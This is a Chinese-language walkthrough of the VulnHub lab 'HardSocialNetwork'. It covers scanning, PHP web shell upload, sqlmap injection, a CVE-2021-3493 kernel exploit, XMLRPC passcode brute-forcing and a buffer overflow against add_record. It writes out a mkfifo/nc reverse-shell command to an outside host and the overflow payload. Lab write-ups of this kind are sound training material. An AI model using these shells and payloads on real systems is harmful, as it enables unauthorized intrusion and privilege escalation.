Contents

打靶-HardSocialNetwork

0x00 准备工作

靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
难度等级: 高
打靶目标: 取得 root 权限

涉及攻击方法:

主机发现
端口扫描
SQL注入
文件上传
CVE-2021-3493
XMLRPC
逆向工程
动态调试
缓冲区溢出
漏洞利用代码编写

0x01 信息搜集

对靶机端口进行扫描。

访问8000端口时会发现501报错,提示不支持GET请求,用拓展修改请求方式,依旧报错。

看看80端口,发现登录需要用邮件的格式。

简单注册一个用户。

在后台能发现一个疑似管理员的账户,他描述说在系统上运行了有monitor.py。

0x02 GetShell

发现这个地方可以传文件,试下php一句话木马。

直接传上去了,没有任何过滤,那就上蚁剑连接!成功拿到了www-data的权限。

翻一下目录,database文件夹很可疑,进去后看到两个sql文件,当前用户运行不了mysql。

把这两个文件下载到本地分析,发现了数据库的部分信息,但没什么用。

结合

怀疑存在sql注入,测试后成功验证,上sqlmap一把梭。

bp抓包后,另存为文件r

运行sqlmap -r r -p id,接着往下爆破得到管理员的账号密码。

但登录admin未发现有价值的信息,这时查看系统内核版本和操作系统版本。

0x03 提升权限

在github上找到CVE-2021-3493的exphttps://github.com/briskets/CVE-2021-3493,上传后运行。

发现提权是成功的,但因为蚁剑的原因自动退出了,这时试着用nc尝试,但nc上不支持-e参数。一种新的反弹shell方式rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 3333 >/tmp/f

再通过python -c "import pty; pty.spawn('/bin/bash')"实现交互式命令行。

再运行exploit文件,提权成功。

0x04 另一种提权方法

继续搜集信息,查看到socnet的可疑用户,跳到他的目录下,发现存在monitor.py文件。

查看下进程

查看源代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random

debugging_pass = random.randint(1000,9999)

def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

def cpu():
    return runcmd("cat /proc/cpuinfo")

def mem():
    return runcmd("free -m")

def disk():
    return runcmd("df -h")

def net():
    return runcmd("ip a")

def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()

XMLRPCServer的官方说明在https://docs.python.org/zh-cn/3/library/xmlrpc.html,可以知道服务端是需要通过XMLRPC的方式来请求。这里在本地构造客户端,用cpu函数进行测试。

能够成功执行。

进一步修改代码,爆破passcode。

修改命令,反弹shell。

成功拿到权限。

查看当前目录下的文件,发现有文件存在root权限,然后文件类型为elf。

运行文件,依次输入字符串,运行结束后产生新文件,查看内容。共有姓名、工作年限、工资、是否遇到困难、抱怨5处入口点。

靶机存在peda,而它是gdb的插件,运行gdb -q ./add_record来加载add_record。输入r运行程序。

python3 -c "print('A'*500)"生成一系列的A,测试是否存在缓冲区溢出,发现Explain有问题。

EIP存放的是下一条要执行的指令地址,所以要计算出第几个字符被填充到EIP。使用pattern create 100命令生成100个特征字符串。

输入后使用pattern search找到字符串的位置,可以发现63的位置就是EIP,只要将EIP的下一条地址指向shell命令所在的内存地址,就能提权成功。

使用disas main命令,查看main函数的汇编代码,发现了vuln的可疑函数。

使用info func,查看当前程序使用的函数,发现了异常的函数。

disas vuln查看具体执行了哪些指令,其中strcpy函数可能会产生缓冲区溢出。

disas backdoor查看具体执行了哪些指令,函数调用了setuidsystem函数,尝试执行操作系统的指令。或许可以通过执行backdoor函数达到提权的目的。

按q退出后,通过python脚本把起始地址0x08048676,写进EIP寄存器。

python -c "import struct;print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload

最后执行cat payload - | ./add_record,成功提升权限!